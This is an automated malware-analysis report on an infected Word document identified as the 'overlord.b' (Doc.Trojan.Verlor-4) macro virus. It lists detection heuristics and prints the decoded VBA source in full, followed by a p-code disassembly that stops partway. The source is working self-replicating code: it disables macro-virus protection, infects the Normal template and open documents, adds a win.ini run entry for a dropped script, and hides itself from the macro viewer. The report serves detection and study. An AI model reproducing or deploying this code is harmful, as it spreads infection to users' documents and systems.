MALICIOUS
304
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros. The AutoOpen and AutoClose subroutines are designed to copy the macro code to the Normal template and potentially execute it, as well as append the document's full path to 'C:\Himem.sys'. The presence of legacy WordBasic macro virus markers and ClamAV detections further support its malicious nature. The script's intent is to establish persistence and potentially download further payloads, though the exact execution path is unclear.
Heuristics 8
-
ClamAV: Doc.Trojan.Verlor-4 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Verlor-4
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Print #1, "Set WordObj = CreateObject(" & Chr(34) & "Word.Application" & Chr(34) & ")" -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
windir = Environ("windir") -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 25295 bytes |
SHA-256: 4519d6e812f00342a05b8cf95384d4a0ebad367d48e4c658f69dbd5758407d97 |
|||
|
Detection
ClamAV:
Doc.Trojan.Verlor-4
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Module"
Sub AutoClose()
'MyName = seNse [aka overlord.b]
'WrittenBy = f0re [UC/Skamwerks/DVC]
'Version = .B (1.1)
On Error Resume Next
windir = Environ("windir")
If Dir(windir & "\tempad.dll") <> "" Then Kill (windir & "\tempad.dll")
If Dir(windir & "\tempnt.dll") <> "" Then Kill (windir & "\tempnt.dll")
Options.VirusProtection = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
If NormalTemplate.VBProject.VBComponents.Item("Module").CodeModule.Lines(3, 1) <> "'MyName = Overlord" Then
ActiveDocument.VBProject.VBComponents("Module").Export (windir & "\tempad.dll")
NormalTemplate.VBProject.VBComponents.import (windir & "\tempad.dll")
NormalTemplate.Save
End If
If ActiveDocument.VBProject.VBComponents.Item("Module").CodeModule.Lines(3, 1) <> "'MyName = Overlord" Then
NormalTemplate.VBProject.VBComponents("Module").Export (windir & "\tempnt.dll")
ActiveDocument.VBProject.VBComponents.import (windir & "\tempnt.dll")
ActiveDocument.SaveAs ActiveDocument.FullName
End If
If Dir("c:\Himem.sys") <> "" Then
Open "c:\Himem.sys" For Input As #1
Open "c:\Himem.sy_" For Output As #2
Do While Not EOF(1)
Input #1, Line
If Line <> ActiveDocument.FullName Then Print #2, Line
Loop
Close #1
Close #2
Kill ("c:\Himem.sys")
FileCopy "c:\Himem.sy_", "c:\Himem.sys"
Kill ("c:\Himem.sy_")
End If
End Sub
Sub AutoOpen()
On Error Resume Next
windir = Environ("windir")
Open "c:\Himem.sys" For Append As #1
Print #1, ActiveDocument.FullName
Close #1
End Sub
Sub Stealth()
On Error Resume Next
windir = Environ("windir")
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\software\", "RegisteredOwner") = "the Overlord"
Open windir & "\win.ini" For Input As #1
Open "c:\win._ni" For Output As #2
Do While Not EOF(1)
Line Input #1, Line
If Line = "[windows]" Then
Print #2, Line
Line Input #1, Line
If Line <> "run = " & windir & "\overlord.b.vbs" Then
Print #2, "run = " & windir & "\overlord.b.vbs"
Print #2, Line
End If
Else
Print #2, Line
End If
Loop
Close #1
Close #2
FileCopy "c:\win._ni", windir & "\win.ini"
Kill ("c:\win._ni")
If Dir(windir & "\overlord.b.vbs") <> "" Then Kill (windir & "\overlord.b.vbs")
Open "c:\windows\overlord.b.vbs" For Append As #1
Print #1, "On error resume next"
Print #1, ""
Print #1, "Set WordObj = CreateObject(" & Chr(34) & "Word.Application" & Chr(34) & ")"
Print #1, "WordObj.Options.SaveNormalPrompt = False"
Print #1, "WordObj.NormalTemplate.VBProject.VBComponents.remove WordObj.NormalTemplate.VBProject.VBComponents(" & Chr(34) & "Module" & Chr(34) & ")"
Print #1, "WordObj.NormalTemplate.save"
Print #1, "WordObj.NormalTemplate.VBProject.VBComponents.import (" & Chr(34) & windir & "\overlord.b.dll" & Chr(34) & ")"
Print #1, "WordObj.NormalTemplate.save"
Print #1, ""
Print #1, "Dim FSO"
Print #1, "Set FSO = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & ")"
Print #1, "set a = FSO.OpenTextFile(" & Chr(34) & "c:\himem.sys" & Chr(34) & ", 1, True)"
Print #1, "contents = a.readall()"
Print #1, "a.close"
Print #1, "set b = FSO.OpenTextFile(" & Chr(34) & "c:\himem.dll" & Chr(34) & ", 2, True)"
Print #1, "b.write(contents)"
Print #1, "b.close"
Print #1, "set a = FSO.OpenTextFile(" & Chr(34) & "c:\himem.dll" & Chr(34) & ", 1, True)"
Print #1, "Do While a.atendofstream <> True"
Print #1, "documentname = a.readline"
Print #1, "If documentname <> " & Chr(34) & Chr(34) & " then"
Print #1, "WordObj.Documents.open (documentname)"
Print #1, "WordObj.activedocument.save"
Print #1, "WordObj.activedocument.close"
Print #1, "End if"
Print #1, "Loop"
Print #1, "a.close"
Print #1, "set NT = " & Chr(34) & Chr(34)
Print #1, "WordObj.Quit"
Print #1, "fso.deletefile" & Chr(34) & "c:\himem.sys" & Chr(34)
Print #1, "fso.deletefile" & Chr(34) & "c:\himem.dll" & Chr(34)
Close #1
NormalTemplate.VBProject.VBComponents("Module").Export (windir & "\overlord.b.dll")
End Sub
Sub ViewVBCode()
On Error Resume Next
Call Stealth
NormalTemplate.VBProject.VBComponents("Module").CodeModule.deletelines 1, NormalTemplate.VBProject.VBComponents("Module").CodeModule.CountOfLines
NormalTemplate.Saved = True
NormalTemplate.VBProject.VBComponents.Remove NormalTemplate.VBProject.VBComponents("Module")
NormalTemplate.Saved = True
Docnumber = Application.Documents.Count
If Docnumber >= 1 Then
For X = 1 To Docnumber
Documents(X).VBProject.VBComponents("Module").CodeModule.deletelines 1, Documents(X).VBProject.VBComponents("Module").CodeModule.CountOfLines
Documents(X).Saved = True
Documents(X).VBProject.VBComponents.Remove Documents(X).VBProject.VBComponents("Module")
Documents(X).Saved = True
Next X
End If
Application.ShowVisualBasicEditor = True
End Sub
Sub ToolsMacro()
On Error Resume Next
For X = 1 To NormalTemplate.VBProject.VBComponents("Module").CodeModule.CountOfLines
codeNT = codeNT & NormalTemplate.VBProject.VBComponents("Module").CodeModule.Lines(X, 1) & Chr(13)
Next X
NormalTemplate.VBProject.VBComponents("Module").CodeModule.deletelines 1, NormalTemplate.VBProject.VBComponents("Module").CodeModule.CountOfLines
NormalTemplate.Saved = True
Docnumber = Application.Documents.Count
If Docnumber >= 1 Then
For Y = 1 To ActiveDocument.VBProject.VBComponents("Module").CodeModule.CountOfLines
CodeAD = CodeAD & ActiveDocument.VBProject.VBComponents("Module").CodeModule.Lines(Y, 1) & Chr(13)
Next Y
For X = 1 To Docnumber
Documents(X).VBProject.VBComponents("Module").CodeModule.deletelines 1, Documents(X).VBProject.VBComponents("Module").CodeModule.CountOfLines
Documents(X).Saved = True
Next X
End If
Application.Dialogs(wdDialogToolsMacro).Show
If Application.ShowVisualBasicEditor = False Then
NormalTemplate.VBProject.VBComponents("Module").CodeModule.InsertLines 1, codeNT
NormalTemplate.Save
If Docnumber >= 1 Then
For X = 1 To Docnumber
Documents(X).VBProject.VBComponents("Module").CodeModule.InsertLines 1, CodeAD
Documents(X).SaveAs Documents(X).FullName
Next X
End If
End If
End Sub
'Put this code in a module called "Module". This is another version of overlord.
'It uses a different stealth mechanism. Again however not perfect stealth,
'but perhaps also a nice attempt i hope :).
' Processing file: /tmp/qstore_n4bveiyq
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/Module - 10656 bytes
' Line #0:
' FuncDefn (Sub AutoClose())
' Line #1:
' Line #2:
' QuoteRem 0x0000 0x001F "MyName = seNse [aka overlord.b]"
' Line #3:
' QuoteRem 0x0000 0x0023 "WrittenBy = f0re [UC/Skamwerks/DVC]"
' Line #4:
' QuoteRem 0x0000 0x0012 "Version = .B (1.1)"
' Line #5:
' Line #6:
' OnError (Resume Next)
' Line #7:
' Line #8:
' LitStr 0x0006 "windir"
' ArgsLd Environ 0x0001
' St windir
' Line #9:
' Ld windir
' LitStr 0x000B "\tempad.dll"
' Concat
' ArgsLd Dir 0x0001
' LitStr 0x0000 ""
' Ne
' If
' BoSImplicit
' Ld windir
' LitStr 0x000B "\tempad.dll"
' Concat
' Paren
' ArgsCall Kill 0x0001
' EndIf
' Line #10:
' Ld windir
' LitStr 0x000B "\tempnt.dll"
' Concat
' ArgsLd Dir 0x0001
' LitStr 0x0000 ""
' Ne
' If
' BoSImplicit
' Ld windir
' LitStr 0x000B "\tempnt.dll"
' Concat
' Paren
' ArgsCall Kill 0x0001
' EndIf
' Line #11:
' Line #12:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #13:
' LitVarSpecial (False)
' Ld Options
' MemSt ConfirmConversions
' Line #14:
' LitVarSpecial (False)
' Ld Options
' MemSt SaveNormalPrompt
' Line #15:
' Line #16:
' LitDI2 0x0003
' LitDI2 0x0001
' LitStr 0x0006 "Module"
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitStr 0x0012 "'MyName = Overlord"
' Ne
' IfBlock
' Line #17:
' Ld windir
' LitStr 0x000B "\tempad.dll"
' Concat
' Paren
' LitStr 0x0006 "Module"
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' ArgsMemCall Export 0x0001
' Line #18:
' Ld windir
' LitStr 0x000B "\tempad.dll"
' Concat
' Paren
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemCall import 0x0001
' Line #19:
' Ld NormalTemplate
' ArgsMemCall Save 0x0000
' Line #20:
' EndIfBlock
' Line #21:
' LitDI2 0x0003
' LitDI2 0x0001
' LitStr 0x0006 "Module"
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitStr 0x0012 "'MyName = Overlord"
' Ne
' IfBlock
' Line #22:
' Ld windir
' LitStr 0x000B "\tempnt.dll"
' Concat
' Paren
' LitStr 0x0006 "Module"
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' ArgsMemCall Export 0x0001
' Line #23:
' Ld windir
' LitStr 0x000B "\tempnt.dll"
' Concat
' Paren
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemCall import 0x0001
' Line #24:
' Ld ActiveDocument
' MemLd FullName
' Ld ActiveDocument
' ArgsMemCall SaveAs 0x0001
' Line #25:
' EndIfBlock
' Line #26:
' Line #27:
' LitStr 0x000C "c:\Himem.sys"
' ArgsLd Dir 0x0001
' LitStr 0x0000 ""
' Ne
' IfBlock
' Line #28:
' LitStr 0x000C "c:\Himem.sys"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Input)
' Line #29:
' LitStr 0x000C "c:\Himem.sy_"
' LitDI2 0x0002
' Sharp
' LitDefault
' Open (For Output)
' Line #30:
' LitDI2 0x0001
' ArgsLd EOF 0x0001
' Not
' DoWhile
' Line #31:
' LitDI2 0x0001
' Sharp
' Input
' Ld Like
' InputItem
' InputDone
' Line #32:
' Ld Like
' Ld ActiveDocument
' MemLd FullName
' Ne
' If
' BoSImplicit
' LitDI2 0x0002
' Sharp
' PrintChan
' Ld Like
' PrintItemNL
' EndIf
' Line #33:
' Loop
' Line #34:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #35:
' LitDI2 0x0002
' Sharp
' Close 0x0001
' Line #36:
' Line #37:
' LitStr 0x000C "c:\Himem.sys"
' Paren
' ArgsCall Kill 0x0001
' Line #38:
' LitStr 0x000C "c:\Himem.sy_"
' LitStr 0x000C "c:\Himem.sys"
' ArgsCall FileCopy 0x0002
' Line #39:
' LitStr 0x000C "c:\Himem.sy_"
' Paren
' ArgsCall Kill 0x0001
' Line #40:
' EndIfBlock
' Line #41:
' Line #42:
' EndSub
' Line #43:
' FuncDefn (Sub AutoOpen())
' Line #44:
' Line #45:
' OnError (Resume Next)
' Line #46:
' LitStr 0x0006 "windir"
' ArgsLd Environ 0x0001
' St windir
' Line #47:
' Line #48:
' LitStr 0x000C "c:\Himem.sys"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Append)
' Line #49:
' LitDI2 0x0001
' Sharp
' PrintChan
' Ld ActiveDocument
' MemLd FullName
' PrintItemNL
' Line #50:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #51:
' Line #52:
' EndSub
' Line #53:
' Line #54:
' FuncDefn (Sub Stealth())
' Line #55:
' OnError (Resume Next)
' Line #56:
' Line #57:
' LitStr 0x0006 "windir"
' ArgsLd Environ 0x0001
' St windir
' Line #58:
' Line #59:
' LitStr 0x000C "the Overlord"
' LitStr 0x0000 ""
' LitStr 0x001C "HKEY_LOCAL_MACHINE\software\"
' LitStr 0x000F "RegisteredOwner"
' Ld System
' ArgsMemSt PrivateProfileString 0x0003
' Line #60:
' Line #61:
' Ld windir
' LitStr 0x0008 "\win.ini"
' Concat
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Input)
' Line #62:
' LitStr 0x000A "c:\win._ni"
' LitDI2 0x0002
' Sharp
' LitDefault
' Open (For Output)
' Line #63:
' LitDI2 0x0001
' ArgsLd EOF 0x0001
' Not
' DoWhile
' Line #64:
' LitDI2 0x0001
' Ld Like
' LineInput
' Line #65:
' Ld Like
' LitStr 0x0009 "[windows]"
' Eq
' IfBlock
' Line #66:
' LitDI2 0x0002
' Sharp
' PrintChan
' Ld Like
' PrintItemNL
' Line #67:
' LitDI2 0x0001
' Ld Like
' LineInput
' Line #68:
' Ld Like
' LitStr 0x0006 "run = "
' Ld windir
' Concat
' LitStr 0x000F "\overlord.b.vbs"
' Concat
' Ne
' IfBlock
' Line #69:
' LitDI2 0x0002
' Sharp
' PrintChan
' LitStr 0x0006 "run = "
' Ld windir
' Concat
' LitStr 0x000F "\overlord.b.vbs"
' Concat
' PrintItemNL
' Line #70:
' LitDI2 0x0002
' Sharp
' PrintChan
' Ld Like
' PrintItemNL
' Line #71:
' EndIfBlock
' Line #72:
' ElseBlock
' Line #73:
' LitDI2 0x0002
' Sharp
' PrintChan
' Ld Like
' PrintItemNL
' Line #74:
' EndIfBlock
' Line #75:
' Loop
' Line #76:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #77:
' LitDI2 0x0002
' Sharp
' Close 0x0001
' Line #78:
' Line #79:
' LitStr 0x000A "c:\win._ni"
' Ld windir
' LitStr 0x0008 "\win.ini"
' Concat
' ArgsCall FileCopy 0x0002
' Line #80:
' LitStr 0x000A "c:\win._ni"
' Paren
' ArgsCall Kill 0x0001
' Line #81:
' Line #82:
' Ld windir
' LitStr 0x000F "\overlord.b.vbs"
' Concat
' ArgsLd Dir 0x0001
' LitStr 0x0000 ""
' Ne
' If
' BoSImplicit
' Ld windir
' LitStr 0x000F "\overlord.b.vbs"
' Concat
' Paren
' ArgsCall Kill 0x0001
' EndIf
' Line #83:
' Line #84:
' LitStr 0x0019 "c:\windows\overlord.b.vbs"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Append)
' Line #85:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0014 "On error resume next"
' PrintItemNL
' Line #86:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0000 ""
' PrintItemNL
' Line #87:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x001B "Set WordObj = CreateObject("
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0010 "Word.Application"
' Concat
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0001 ")"
' Concat
' PrintItemNL
' Line #88:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0028 "WordObj.Options.SaveNormalPrompt = False"
' PrintItemNL
' Line #89:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0063 "WordObj.NormalTemplate.VBProject.VBComponents.remove WordObj.NormalTemplate.VBProject.VBComponents("
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0006 "Module"
' Concat
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0001 ")"
' Concat
' PrintItemNL
' Line #90:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x001B "WordObj.NormalTemplate.save"
' PrintItemNL
' Line #91:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0036 "WordObj.NormalTemplate.VBProject.VBComponents.import ("
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' Ld windir
' Concat
' LitStr 0x000F "\overlord.b.dll"
' Concat
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0001 ")"
' Concat
' PrintItemNL
' Line #92:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x001B "WordObj.NormalTemplate.save"
' PrintItemNL
' Line #93:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0000 ""
' PrintItemNL
' Line #94:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0007 "Dim FSO"
' PrintItemNL
' Line #95:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0017 "Set FSO = CreateObject("
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x001A "Scripting.FileSystemObject"
' Concat
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0001 ")"
' Concat
' PrintItemNL
' Line #96:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x001A "set a = FSO.OpenTextFile("
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x000C "c:\himem.sys"
' Concat
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x000A ", 1, True)"
' Concat
' PrintItemNL
' Line #97:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0016 "contents = a.readall()"
' PrintItemNL
' Line #98:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0007 "a.close"
' PrintItemNL
' Line #99:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x001A "set b = FSO.OpenTextFile("
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x000C "c:\himem.dll"
' Concat
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x000A ", 2, True)"
' Concat
' PrintItemNL
' Line #100:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0011 "b.write(contents)"
' PrintItemNL
' Line #101:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0007 "b.close"
' PrintItemNL
' Line #102:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x001A "set a = FSO.OpenTextFile("
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x000C "c:\himem.dll"
' Concat
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x000A ", 1, True)"
' Concat
' PrintItemNL
' Line #103:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0020 "Do While a.atendofstream <> True"
' PrintItemNL
' Line #104:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0019 "documentname = a.readline"
' PrintItemNL
' Line #105:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0013 "If documentname <> "
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0005 " then"
' Concat
' PrintItemNL
' Line #106:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0025 "WordObj.Documents.open (documentname)"
' PrintItemNL
' Line #107:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x001B "WordObj.activedocument.save"
' PrintItemNL
' Line #108:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x001C "WordObj.activedocument.close"
' PrintItemNL
' Line #109:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0006 "End if"
' PrintItemNL
' Line #110:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0004 "Loop"
' PrintItemNL
' Line #111:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0007 "a.close"
' PrintItemNL
' Line #112:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0009 "set NT = "
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' PrintItemNL
' Line #113:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x000C "WordObj.Quit"
' PrintItemNL
' Line #114:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x000E "fso.deletefile"
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x000C "c:\himem.sys"
' Concat
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' PrintItemNL
' Line #115:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x000E "fso.deletefile"
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x000C "c:\himem.dll"
' Concat
' LitDI2 0x0022
' ArgsLd Chr 0x0001
' Concat
' PrintItemNL
' Line #116:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #117:
' Line #118:
' Ld windir
' LitStr 0x000F "\overlord.b.dll"
' Concat
' Paren
' LitStr 0x0006 "Module"
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' ArgsMemCall Export 0x0001
' Line #119:
' Line #120:
' EndSub
' Line #121:
' FuncDefn (Sub ViewVBCode())
' Line #122:
' OnError (Resume Next)
' Line #123:
' Line #124:
' ArgsCall (Call) Stealth 0x0000
' Line #125:
' Line #126:
' LitDI2 0x0001
' LitStr 0x0006 "Module"
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' LitStr 0x0006 "Module"
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' ArgsMemCall deletelines 0x0002
' Line #127:
' LitVarSpecial (True)
' Ld NormalTemplate
' MemSt Saved
' Line #128:
' LitStr 0x0006 "Module"
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemCall Remove 0x0001
' Line #129:
' LitVarSpecial (True)
' Ld NormalTemplate
' MemSt Saved
' Line #130:
' Line #131:
' Ld Application
' MemLd Documents
' MemLd Count
' St Docnumber
' Line #132:
' Ld Docnumber
' LitDI2 0x0001
' Ge
' IfBlock
' Line #133:
' StartForVariable
' Ld X
' EndForVariable
' LitDI2 0x0001
' Ld Docnumber
' For
' Line #134:
' LitDI2 0x0001
' LitStr 0x0006 "Module"
' Ld X
' ArgsLd Documents 0x0001
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' LitStr 0x0006 "Module"
' Ld X
' ArgsLd Documents 0x0001
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd CodeModule
' ArgsMemCall deletelines 0x0002
' Line #135:
' LitVarSpecial (True)
' Ld X
' ArgsLd Documents 0x0001
' MemSt Saved
' Line #136:
' LitStr 0x0006 "Module"
' Ld X
' ArgsLd Documents 0x0001
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' Ld X
' ArgsLd Documents 0x0001
' MemLd VBProject
' MemLd VBComponents
' ArgsMemCall Remove 0x0001
' Line #137:
' LitVarSpecial (True)
' Ld X
' ArgsLd Documents 0x0001
' MemSt Saved
' Line #138:
' StartForVariable
' Ld X
' EndForVariable
' NextVar
' Line #139:
' EndIfBlock
' Line #140:
' Line #141:
' LitVarSpecial (True)
' Ld Application
' MemSt ShowVisualBasicEditor
' Line #142:
' Line #143:
' EndSub
' Line #144:
' FuncDefn (Sub ToolsMacro())
' Line #145:
' OnError (Resume Next)
' Line #146:
' Line #147:
' StartForVariable
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.